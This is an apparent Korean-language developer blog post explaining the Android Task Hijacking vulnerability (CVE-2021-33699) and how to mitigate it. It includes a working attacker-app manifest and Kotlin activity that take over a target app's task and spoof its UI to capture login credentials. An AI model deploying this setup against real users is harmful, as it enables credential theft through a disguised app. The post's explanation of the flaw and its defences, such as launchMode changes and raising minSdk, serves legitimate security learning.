Sitemap
parkwow13

parkwow13

android developer

Task Hijacking

6 min readJan 3, 2025

--

Press enter or click to view image in full size
Photo by Arisa Chattasa on Unsplash

Task Hijacking (CVE-2021–33699)

android 에서 Task 를 탈취하여 유저가 실행시키려던 앱이 아닌 악성앱을 실행시키도록 하고, UI 스푸핑을 이용하여 사용자의 인증정보와 같은 중요한 정보들을 가져갈 수 있는 공격이다.

android 10 이하인 휴대폰에서 이와 같은 공격을 테스트해볼 수 있다.

먼저 사전 조건이 필요하다.

1. android 10 이하 버전인 앱
2. launchMode = “singleTask” 인 앱

위의 2가지 조건을 만족한다면 Attack 테스트를 해볼 수 있다.

공격할 악성앱 : Attack 앱
공격당할 앱 : Target 앱

먼저 Target 앱의 taskAffinity 를 확보한다.
여기서는 target.task.Affinity 로 가정한다.

1. Attack 앱의 AndroidManifest 에 다음과 같이 등록한다.

<application
…
android:theme=”@style/Theme.Attacker”
android:taskAffinity=”target.task.Affinity”>
<activity
android:name=”.TargetActivity”
android:exported=”true”
android:label=”@string/app_name”
android:excludeFromRecents=”true”
android:theme=”@style/Theme.Attacker”>
<intent-filter>
<action android:name=”android.intent.action.MAIN” />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>

2. TargetActivity 는 아래와 같이 구현해준다.

class TargetActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
enableEdgeToEdge()
moveTaskToBack(true)
setContent {
AttackerTheme {
Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
//Target 앱과 같은 UI
}
}
}
}
}

먼저 1. 의 AndroidManifest 설정에서 application 단에 taskAffinity 를 Target 앱의 taskAffinity 로 등록한다.
그리고 android:excludeFromRecents=”true” 로 인해 최근 실행된 앱을 확인하는 창에서 보여지지않게한다.

2. 의 TargetActivity 화면에서는 moveTaskToBack 를 true 로 함으로써 백그라운드로 넘어가게 한다.

Get parkwow13’s stories in your inbox

Join Medium for free to get updates from this writer.

이렇게 구성된 앱이 설치되고 실행되는 순간 moveTaskToBack 으로 백그라운드로 넘어가면서 excludeFromRecents 로 인해 최근 실행된 앱에서는 보여지지않게된다.

이후 Target 앱의 launchMode 가 singleTask 인 Activity 가 실행될 때 해당 taskAffinity 로 Task 를 Hijacking 해서 Target 앱이 아닌 Attack 앱(악성앱)을 실행시키도록 한다.
그리고 Attack 앱의 UI 스푸핑으로 인해 유저들은 악성앱이 실행된지 알 수가 없게 된다.

유저들은 로그인화면과 같은 중요한 정보를 입력하는 곳에서 자신의 정보를 입력하게 되면 악성앱의 서버로 데이터가 넘어가게된다.

이와 같은 악성앱을 방지하기위해서는 여러가지 방안이 있다.

1. launchMode 변경

launchMode 가 singleTask 이거나 Intent 로 실행될 때 flag 가 SingleTop 으로 실행이 되면 Task 를 탈취당할 수가 있다.
가능하다면 launchMode 를 singleTask 가 아닌 SingleInstance 와 같은 다른 모드로 변경하고, Intent 로 실행을 시킬 때 SingleTop 사용을 하지않는 것이 좋다.

2. taskAffinity 변경

taskAffinity 를 설정하지않으면 기본적으로 앱의 package 로 taskAffinity 가 만들어진다.
taskAffinity 를 다르게 부여해서 Task 탈취 확률을 낮추도록한다.

하지만 adb 를 이용하게되면 해당 앱의 taskAffinity 와 launchMode 를 확인 할 수가 있으니, 이것은 최소한의 방도라고 생각하고 해결이 될 수가 없음을 인지해야한다.
(adb command : adb shell dumpsys activity activities)

3. minSDKVersion 을 30이상으로 올린다.

Task Hijacking은 Android 11 부터 해결이 되었다.
확실히 Android 11 이상에서 테스트를 했을 때는 Task Hijacking 이 되지않는 것을 확인하였다.

결론.

앱의 방향에 따라 가능한 방안이 마련이 되겠지만 위의 3가지를 모두 할 수가 없는 경우가 있다.
다른 앱에서 접근해야할 경우도 있고, 이전 버전 사용자를 지원해줘야하는 등. 방침을 마련하기 어려운 경우들이 있다.
위의 3가지 말고도 다른 방법이 있을 수도 있으니, 찾아보는 것도 좋고, 직접 방안을 마련하는 방법 (UI 로 사용자에게 악성앱 구분 법을 알려주는 등) 도 있을 것이다.

Task Hijacking 이전에는 StrandHogg 공격도 있었다.

방식만 보면 비슷한 것 같은데, 좀 차이가 있는 듯 하다.
한번 검색해서 이런 공격들도 있었구나 라는 것을 알면 좋을 것 같다.

--

--